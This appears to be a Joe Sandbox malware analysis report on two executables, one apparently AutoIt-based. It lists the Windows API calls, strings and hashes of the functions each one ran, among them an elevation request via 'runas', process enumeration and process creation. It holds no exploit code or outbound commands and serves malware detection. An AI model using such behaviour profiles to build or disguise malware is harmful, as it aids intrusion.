Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 1b281c526b9b117a681448e6ec9e3489a13aa3567c0829d799c9419420ace566
Instruction ID: 9136471fd04952a00fede5812e1ef8dc028cc916ad4e024060e906be30320789
Opcode Fuzzy Hash: 1b281c526b9b117a681448e6ec9e3489a13aa3567c0829d799c9419420ace566
Instruction Fuzzy Hash: FDE09B39B0010867CB04F7A5D945CADB7795E847207058116F611A3351DB709905C9D1

Function 00AC34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AC34FC

Strings

pScheduler, xrefs: 00AC34F4
version, xrefs: 00AC34E1

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: fd18ff06fae27f3701a70333096d980e2f2b98f4512f58412036a37f00084f8f
Instruction ID: 7c642b27b43c731ee48d2b86d50a8a7c6f93346a359ff4225a1b1a0cc1d5f7e0
Opcode Fuzzy Hash: fd18ff06fae27f3701a70333096d980e2f2b98f4512f58412036a37f00084f8f
Instruction Fuzzy Hash: 51E0863594020CF6CF29FB94DA47FDC7768AB1474AF04C52AB91111091DBB49788CAC1

Analysis Process: 2ada66c192.exePID: 1364, Parent PID: 7660COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	1680
Total number of Limit Nodes:	53

Executed Functions

Function 006742DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 0067430D

Part of subcall function 00676B57: _wcslen.LIBCMT ref: 00676B6A

GetCurrentProcess.KERNEL32(?,0070CB64,00000000,?,?), ref: 00674422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00674429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00674454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00674466
GetNativeSystemInfo.KERNEL32(?,?,?), ref: 00674474
FreeLibrary.KERNEL32(00000000,?,?), ref: 0067447B
GetSystemInfo.KERNEL32(?,?,?), ref: 006744A0

Strings

|O, xrefs: 006B36F8
GetNativeSystemInfo, xrefs: 00674460
kernel32.dll, xrefs: 0067444F

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 7c17c820c89ce531cc86eefb84a8e054b144d3e397acbd4726a11a2028537fbe
Instruction ID: 52e149f21108ddbf099263fbf9a3d0187ab8dd29004b9816eafda8a823108947
Opcode Fuzzy Hash: 7c17c820c89ce531cc86eefb84a8e054b144d3e397acbd4726a11a2028537fbe
Instruction Fuzzy Hash: CFA1D5BA90A2D0CFC712EF697C441E47FE6AB27340B84C5AAD04593B26E72C45C5DB2D

Function 006742A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,006750AA,?,?,00000000,00000000), ref: 006742B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,006750AA,?,?,00000000,00000000), ref: 006742C9
LoadResource.KERNEL32(?,00000000,?,?,006750AA,?,?,00000000,00000000,?,?,?,?,?,?,00674F20), ref: 006B35BE
SizeofResource.KERNEL32(?,00000000,?,?,006750AA,?,?,00000000,00000000,?,?,?,?,?,?,00674F20), ref: 006B35D3
LockResource.KERNEL32(006750AA,?,?,006750AA,?,?,00000000,00000000,?,?,?,?,?,?,00674F20,?), ref: 006B35E6

Strings

SCRIPT, xrefs: 006742BF

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 09c22560da4813123edb778686bc1f1086ec5c3f0307fd89e21123ff066955f1
Instruction ID: 9e4b9424ddac63c7398e9c0908acb99ea4d8024a172b5669c6cffd9734dec91b
Opcode Fuzzy Hash: 09c22560da4813123edb778686bc1f1086ec5c3f0307fd89e21123ff066955f1
Instruction Fuzzy Hash: B4117C71200700FFD7228B65DC49F677BBAEFC5B51F208269F41696690DF71D9108A20

Function 006B2BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00672B6B

Part of subcall function 00673A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00741418,?,00672E7F,?,?,?,00000000), ref: 00673A78

Part of subcall function 00679CB3: _wcslen.LIBCMT ref: 00679CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00732224), ref: 006B2C10
ShellExecuteW.SHELL32(00000000,?,?,00732224), ref: 006B2C17

Strings

runas, xrefs: 006B2C0B

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 2fefa127cb9df04fac42a62a94a585efb863aa25d6626e587d5daf311eb707ca
Instruction ID: caf974f5749ec12c22537966149ce0d18662c3108d1e8569ddd835dcc32fab19
Opcode Fuzzy Hash: 2fefa127cb9df04fac42a62a94a585efb863aa25d6626e587d5daf311eb707ca
Instruction Fuzzy Hash: CF113631208382AAC754FF20D862DBE7BE6AF91710F44C52DF08A021A3CF34858AD71A

Function 006DD4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 006DD501
Process32FirstW.KERNEL32(00000000,?), ref: 006DD50F
Process32NextW.KERNEL32(00000000,?), ref: 006DD52F
CloseHandle.KERNEL32(00000000), ref: 006DD5DC

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 6ef44877694d7e01235979bbb21013709340e760973bf120a1ff95e9d0832773
Instruction ID: a5fb10a84d72fb053baad1cdb4e4205b6868bbf83f9ae94bcf6fd3e2293a1f89
Opcode Fuzzy Hash: 6ef44877694d7e01235979bbb21013709340e760973bf120a1ff95e9d0832773
Instruction Fuzzy Hash: 1A31AF710083009FD305EF64D881AAFBBF9EF99354F104A2DF585862A2EB719945CBA3

Function 006DDBBE Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,006B5222), ref: 006DDBCE
GetFileAttributesW.KERNEL32(?), ref: 006DDBDD
FindFirstFileW.KERNEL32(?,?), ref: 006DDBEE
FindClose.KERNEL32(00000000), ref: 006DDBFA

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 387a3348ebbe473b8a6ab47164634f4d3b75fc3def0ce2447272d8a145c8206e
Instruction ID: d9ef9d96400a50b1123b25e674410854f8a248ac0ff477940c2f42bbd0139de6
Opcode Fuzzy Hash: 387a3348ebbe473b8a6ab47164634f4d3b75fc3def0ce2447272d8a145c8206e
Instruction Fuzzy Hash: A1F0A0B082091497D2217B78AC0E8BA376DAE01374F208703F836C22E1EFB459558699

Function 00694CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(006A28E9,?,00694CBE,006A28E9,007388B8,0000000C,00694E15,006A28E9,00000002,00000000,?,006A28E9), ref: 00694D09
TerminateProcess.KERNEL32(00000000,?,00694CBE,006A28E9,007388B8,0000000C,00694E15,006A28E9,00000002,00000000,?,006A28E9), ref: 00694D10
ExitProcess.KERNEL32 ref: 00694D22

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 81d29a6bec7a64e00d76646563cf800c31f5a1e426e4fe4410559c3f8be1d9f1
Instruction ID: 93abf86b25240ad99dc6149780b89db51434a33b153d541173bdc78987ee916f
Opcode Fuzzy Hash: 81d29a6bec7a64e00d76646563cf800c31f5a1e426e4fe4410559c3f8be1d9f1
Instruction Fuzzy Hash: ACE0B635010148EBCF16AF54DD09E987B6EFF46785B108218FC058A622CF39DD46CA88

Function 006CD27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 006CD28C

Strings

X64, xrefs: 006CD2A8

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 8333d096d98187048731626b2ffcf5f083eaf4eba3e5bdeda648990237d3d822
Instruction ID: 6c5b9659df5c06ee589bf171a83f080a7d45e13bd226e594cca04ace2cb1a11a
Opcode Fuzzy Hash: 8333d096d98187048731626b2ffcf5f083eaf4eba3e5bdeda648990237d3d822
Instruction Fuzzy Hash: 32D0C9B480111DEACB94DB90DC88DE9B37CFB04305F104355F106A2040DB34964A8F20

Function 006FAFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 006FB198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 006FB1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 006FB1D4
_wcslen.LIBCMT ref: 006FB200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 006FB214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 006FB236
_wcslen.LIBCMT ref: 006FB332

Part of subcall function 006E05A7: GetStdHandle.KERNEL32(000000F6), ref: 006E05C6

_wcslen.LIBCMT ref: 006FB34B
_wcslen.LIBCMT ref: 006FB366
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 006FB3B6
GetLastError.KERNEL32(00000000), ref: 006FB407
CloseHandle.KERNEL32(?), ref: 006FB439
CloseHandle.KERNEL32(00000000), ref: 006FB44A
CloseHandle.KERNEL32(00000000), ref: 006FB45C
CloseHandle.KERNEL32(00000000), ref: 006FB46E
CloseHandle.KERNEL32(?), ref: 006FB4E3

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 137605fe8c1e366ac12aa3a3e1ebd6d58820c27098e85895f5cc3d5d0965bc4f
Instruction ID: 53031fc71143cad1ecf6eb795f298e7a4db1b32d07f2927e334e9d183f47b268
Opcode Fuzzy Hash: 137605fe8c1e366ac12aa3a3e1ebd6d58820c27098e85895f5cc3d5d0965bc4f
Instruction Fuzzy Hash: C3F198316083049FDB54EF24C891B6EBBE6AF85314F18855DF9898B3A2DB31EC41CB56

Function 0067D730 Relevance: 21.6, APIs: 14, Instructions: 621windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 0067D807
timeGetTime.WINMM ref: 0067DA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0067DB28
TranslateMessage.USER32(?), ref: 0067DB7B
DispatchMessageW.USER32(?), ref: 0067DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0067DB9F
Sleep.KERNEL32(0000000A), ref: 0067DBB1

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 68f29b66e9894c19c7bb198f9c961eed6e8fa6e75db1ff7412f12b619d3fa337
Instruction ID: 8823c9a292711d681f2be4c5317473d5982b52850e04776ef02f9a26d6165d8b
Opcode Fuzzy Hash: 68f29b66e9894c19c7bb198f9c961eed6e8fa6e75db1ff7412f12b619d3fa337
Instruction Fuzzy Hash: 2842EE70604242DFD729DB24C854FBAB7B2FF86304F148A1EE95A87391C774E885CB96

Function 00672CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00672D07
RegisterClassExW.USER32(00000030), ref: 00672D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00672D42
InitCommonControlsEx.COMCTL32(?), ref: 00672D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00672D6F
LoadIconW.USER32(000000A9), ref: 00672D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00672D94

Strings

AutoIt v3 GUI, xrefs: 00672D23
+, xrefs: 00672CF0
0, xrefs: 00672CE9
TaskbarCreated, xrefs: 00672D37

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: c6af64556f07bcc3b390e89901f9bce4a967cefee4e0f1052c8a151cf6c21d27
Instruction ID: 0bc84db1221c8c6c3c14aa39828348d366dce0043238d788691fd9088901b950
Opcode Fuzzy Hash: c6af64556f07bcc3b390e89901f9bce4a967cefee4e0f1052c8a151cf6c21d27
Instruction Fuzzy Hash: A321E3B5911248EFDB01EFA4EC49BDDBBB4FB09700F00821AF511A62A0DBB91584CF98

Function 006B065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006B039A: CreateFileW.KERNEL32(00000000,00000000,?,006B0704,?,?,00000000,?,006B0704,00000000,0000000C), ref: 006B03B7

GetLastError.KERNEL32 ref: 006B076F
__dosmaperr.LIBCMT ref: 006B0776
GetFileType.KERNEL32(00000000), ref: 006B0782
GetLastError.KERNEL32 ref: 006B078C
__dosmaperr.LIBCMT ref: 006B0795
CloseHandle.KERNEL32(00000000), ref: 006B07B5
CloseHandle.KERNEL32(?), ref: 006B08FF
GetLastError.KERNEL32 ref: 006B0931
__dosmaperr.LIBCMT ref: 006B0938

Strings

H, xrefs: 006B08BD

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: f50148262f7b788279c75854cf5b2d6960841e94f13d83ca7d9fa040195d1562
Instruction ID: 989017e28c660199752c160f2dee3dadd58536f147512033f249d9d436477836
Opcode Fuzzy Hash: f50148262f7b788279c75854cf5b2d6960841e94f13d83ca7d9fa040195d1562
Instruction Fuzzy Hash: 15A13772A101048FEF19EF68D851BEE7FA2AB06320F14416EF811DB392DB359D52CB95

Function 0067344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00673A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00741418,?,00672E7F,?,?,?,00000000), ref: 00673A78

Part of subcall function 00673357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00673379

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 0067356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 006B318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 006B31CE
RegCloseKey.ADVAPI32(?), ref: 006B3210
_wcslen.LIBCMT ref: 006B3277
_wcslen.LIBCMT ref: 006B3286

Strings

Include, xrefs: 006B3184, 006B31C5
\, xrefs: 006B328C
\Include\, xrefs: 00673527
Software\AutoIt v3\AutoIt, xrefs: 00673560

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
